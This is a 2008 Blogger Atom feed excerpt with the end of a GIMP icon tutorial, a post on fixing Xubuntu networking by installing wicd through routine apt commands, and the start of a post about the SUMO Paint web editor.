/&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;You can also stroke the path and add a border of the shadow but: you will have to make another layer for it (because of the very low opacity used on the "Shadow" layer) and you will need to erase those parts of the stroked line which aren't included in the "Icon inside" layer.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;To make it more realistic, you can add a shadow. Select the "Black outer border" layer. Go to Filters - Light and Shadow - Drop shadow (0px, 0px, 8, black, 80%). Here is my final result:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_y9bIz6XDw14/SSxt-AvA4CI/AAAAAAAAAGY/DxvADeKTlGM/s1600-h/screen9.jpg"&gt;&lt;img style="cursor: pointer; width: 306px; height: 400px;" src="http://3.bp.blogspot.com/_y9bIz6XDw14/SSxt-AvA4CI/AAAAAAAAAGY/DxvADeKTlGM/s400/screen9.jpg" alt="" id="BLOGGER_PHOTO_ID_5272710175860514850" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-4645536564077342854?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=AwRn8Two"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=DnQnVMQ6"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=DnQnVMQ6" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=dAc2Dd93"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=dAc2Dd93" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=G7HIj2jY"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=G7HIj2jY" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/4645536564077342854/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=4645536564077342854" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/4645536564077342854?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/4645536564077342854?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/swHJ1P57ouw/web-20-calendar-icon-in-gimp-tutorial.html" title="Web 2.0 Calendar icon in Gimp [Tutorial]" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_y9bIz6XDw14/SSxfq5ngAZI/AAAAAAAAAFw/u927wPkZKbA/s72-c/screen1.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2008/11/web-20-calendar-icon-in-gimp-tutorial.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUAAQno7eyp7ImA9WxVRGE8.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-6254315569805983062</id><published>2008-11-16T23:34:00.009+01:00</published><updated>2009-01-24T21:09:03.403+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-24T21:09:03.403+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xubuntu" /><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><title>Problem with network in Ubuntu Intrepid Ibex [Solved]</title><content type="html">&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;&lt;span&gt;Few days ago, I installed the newest version of Xubuntu called Intrepid Ibex. This version fixes some things and also includes some updates for applications I'm used to use. For instance Gimp 2.6 or Network manager and here the problem comes. The old version of Network manager, which I used in Xubuntu 8.04, worked just fine for me.&lt;br /&gt;I work on my notebook so sometimes I switch between the cable and wifi connection, the old Network manager handled this fine but the new version &lt;span style="font-weight: bold;"&gt;doesn't&lt;/span&gt;. What's worse, the network didn't work at all in Intrepid Ibex for me. &lt;span style="font-weight: bold;"&gt;Sometimes&lt;/span&gt; I was lucky and I connected via wifi, but the connection was very unpredictable at all.&lt;br /&gt;So I went through some Ubuntu forums hoping I would find a solution. And fortunatelly I found. The solution is a program called &lt;span style="font-weight: bold;"&gt;wicd&lt;/span&gt;.&lt;br /&gt;Here is what I had to do, step by step:&lt;br /&gt;&lt;br /&gt;1)&lt;br /&gt;&lt;blockquote&gt;sudo&lt;/blockquote&gt;2)&lt;br /&gt;&lt;blockquote&gt;echo "deb http://apt.wicd.net intrepid extras" &gt;&gt; /etc/apt/sources.list&lt;/blockquote&gt;3)&lt;br /&gt;&lt;blockquote&gt;wget -q http://apt.wicd.net/wicd.gpg -O- | sudo apt-key add -&lt;/blockquote&gt;4)&lt;br /&gt;&lt;blockquote&gt;apt-get update&lt;/blockquote&gt;5)&lt;br /&gt;&lt;blockquote&gt;apt-get remove network-manager&lt;/blockquote&gt;6) Now because I definitely cut myself from the internet by uninstalling the network manager I had to download manually (from another computer) .deb package of &lt;span style="font-weight: bold;"&gt;wicd&lt;/span&gt; from here. &lt;a href="http://sourceforge.net/project/showfiles.php?group_id=194573"&gt;Download a free network manager wicd.deb from SourceForge.net&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;.  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;7) When you get the .deb file on your Ubuntu Linux, you just double click on the file, and it will start installation. And that's all, since this moment, my network works again. =)&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-6254315569805983062?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=EGwZpLYt"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=ZTxhc0Il"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=ZTxhc0Il" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=uenQ8GQc"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=uenQ8GQc" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=4w0iqbgD"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=4w0iqbgD" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/6254315569805983062/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=6254315569805983062" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/6254315569805983062?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/6254315569805983062?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/azFzvuQh-30/problem-with-network-in-ubuntu-intrepid.html" title="Problem with network in Ubuntu Intrepid Ibex [Solved]" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2008/11/problem-with-network-in-ubuntu-intrepid.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkEFQH49eSp7ImA9WxRWFEU.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-4935951484007738932</id><published>2008-10-31T18:26:00.003+01:00</published><updated>2008-10-31T22:30:11.061+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-31T22:30:11.061+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Web applications" /><category scheme="http://www.blogger.com/atom/ns#" term="Tricks" /><title>SUMO Paint</title><content type="html">&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:trackmoves/&gt;   &lt;w:trackformatting/&gt;   &lt;w:hyphenationzone&gt;21&lt;/w:HyphenationZone&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:donotpromoteqf/&gt;   &lt;w:lidthemeother&gt;CS&lt;/w:LidThemeOther&gt;   &lt;w:lidthemeasian&gt;X-NONE&lt;/w:LidThemeAsian&gt;   &lt;w:lidthemecomplexscript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:splitpgbreakandparamark/&gt;    &lt;w:dontvertaligncellwithsp/&gt;    &lt;w:dontbreakconstrainedforcedtables/&gt;    &lt;w:dontvertalignintxbx/&gt;    &lt;w:word11kerningpairs/&gt;    &lt;w:cachedcolbalance/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;   &lt;m:mathpr&gt;    &lt;m:mathfont val="Cambria Math"&gt;    &lt;m:brkbin val="before"&gt;    &lt;m:brkbinsub val="&amp;#45;-"&gt;    &lt;m:smallfrac val="off"&gt;    &lt;m:dispdef/&gt;    &lt;m:lmargin val="0"&gt;    &lt;m:rmargin val="0"&gt;    &lt;m:defjc val="centerGroup"&gt;    &lt;m:wrapindent val="1440"&gt;    &lt;m:intlim val="subSup"&gt;    &lt;m:narylim val="undOvr"&gt;   &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" defunhidewhenused="true" defsemihidden="true" defqformat="false" defpriority="99" latentstylecount="267"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Normal"&gt;   &lt;w:lsdexception locked="false" priority="9" semihidden="false" unhidewhenused="false" qformat="true" name="heading 1"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 2"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 3"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 4"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 5"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 6"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 7"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 8"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 9"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 1"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 2"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 3"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 4"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 5"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 6"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 7"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 8"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 9"&gt;   &lt;w:lsdexception locked="false" priority="35" qformat="true" name="caption"&gt;   &lt;w:lsdexception locked="false" priority="10" semihidden="false" unhidewhenused="false" qformat="true" name="Title"&gt;   &lt;w:lsdexception locked="false" priority="1" name="Default Paragraph Font"&gt;   &lt;w:lsdexception locked="false" priority="11" semihidden="false" unhidewhenused="false" qformat="true" name="Subtitle"&gt;   &lt;w:lsdexception locked="false" priority="22" semihidden="false" unhidewhenused="false" qformat="true" name="Strong"&gt;   &lt;w:lsdexception locked="false" priority="20" semihidden="false" unhidewhenused="false" qformat="true" name="Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="59" semihidden="false" unhidewhenused="false" name="Table Grid"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Placeholder Text"&gt;   &lt;w:lsdexception locked="false" priority="1" semihidden="false" unhidewhenused="false" qformat="true" name="No Spacing"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Revision"&gt;   &lt;w:lsdexception locked="false" priority="34" semihidden="false" unhidewhenused="false" qformat="true" name="List Paragraph"&gt;   &lt;w:lsdexception locked="false" priority="29" semihidden="false" unhidewhenused="false" qformat="true" name="Quote"&gt;   &lt;w:lsdexception locked="false" priority="30" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Quote"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="19" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="21" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="31" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Reference"&gt;   &lt;w:lsdexception locked="false" priority="32" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Reference"&gt;   &lt;w:lsdexception locked="false" priority="33" semihidden="false" unhidewhenused="false" qformat="true" name="Book Title"&gt;   &lt;w:lsdexception locked="false" priority="37" name="Bibliography"&gt;   &lt;w:lsdexception locked="false" priority="39" qformat="true" name="TOC Heading"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face  {font-family:"Cambria Math";  panose-1:2 4 5 3 5 4 6 3 2 4;  mso-font-charset:1;  mso-generic-font-family:roman;  mso-font-format:other;  mso-font-pitch:variable;  mso-font-signature:0 0 0 0 0 0;} @font-face  {font-family:Calibri;  panose-1:2 15 5 2 2 2 4 3 2 4;  mso-font-charset:238;  mso-generic-font-family:swiss;  mso-font-pitch:variable;  mso-font-signature:-1610611985 1073750139 0 0 159 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal  {mso-style-unhide:no;  mso-style-qformat:yes;  mso-style-parent:"";  margin-top:0cm;  margin-right:0cm;  margin-bottom:10.0pt;  margin-left:0cm;  line-height:115%;  mso-pagination:widow-orphan;  font-size:11.0pt;  font-family:"Calibri","sans-serif";  mso-fareast-font-family:Calibri;  mso-bidi-font-family:"Times New Roman";  mso-fareast-language:EN-US;} a:link, span.MsoHyperlink  {mso-style-priority:99;  color:blue;  mso-themecolor:hyperlink;  text-decoration:underline;  text-underline:single;} a:visited, span.MsoHyperlinkFollowed  {mso-style-noshow:yes;  mso-style-priority:99;  color:purple;  mso-themecolor:followedhyperlink;  text-decoration:underline;  text-underline:single;} .MsoChpDefault  {mso-style-type:export-only;  mso-default-props:yes;  font-size:10.0pt;  mso-ansi-font-size:10.0pt;  mso-bidi-font-size:10.0pt;  mso-ascii-font-family:Calibri;  mso-fareast-font-family:Calibri;  mso-hansi-font-family:Calibri;} @page Section1  {size:595.3pt 841.9pt;  margin:70.85pt 70.85pt 70.85pt 70.85pt;  mso-header-margin:35.4pt;  mso-footer-margin:35.4pt;  mso-paper-source:0;} div.Section1  {page:Section1;}  /* List Definitions */  @list l0  {mso-list-id:1825664462;  mso-list-type:hybrid;  mso-list-template-ids:-1882693284 211464940 67436569 67436571 67436559 67436569 67436571 67436559 67436569 67436571;} @list l0:level1  {mso-level-text:"%1\)";  mso-level-tab-stop:none;  mso-level-number-position:left;  margin-left:53.4pt;  text-indent:-18.0pt;} ol  {margin-bottom:0cm;} ul  {margin-bottom:0cm;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-priority:99;  mso-style-qformat:yes;  mso-style-parent:"";  mso-padding-alt:0cm 5.4pt 0cm 5.4pt;  mso-para-margin:0cm;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Calibri","sans-serif";} &lt;/style&gt; &lt;![endif]--&gt;    &lt;p class="MsoNormal"  style="text-indent: 35.4pt;font-family:verdana;"&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;The progress is moving forward extremely fast nowadays. The thing you bought a year ago is now an old stuff. The progress is so fast that you can see things which you really wouldn’t expect. Some of them you can see on the Internet. It’s said that a lot of applications are moving on the web. The reason is pretty clear, you don’t have to install these applications (well, they require some plug-ins), and they are available from the whole world. The problem is that these apps are sometimes slow, because they run in your web browser. An ordinary application running on the web is for instance your web mail-client (like G-Mail). But there are many more: a blogging system, chat, also IRC chat-client, internet radio, internet TV and, and now read carefully, a graphic editor.&lt;/span&gt;&lt;/p&gt;&lt;div  style="text-align: center;font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 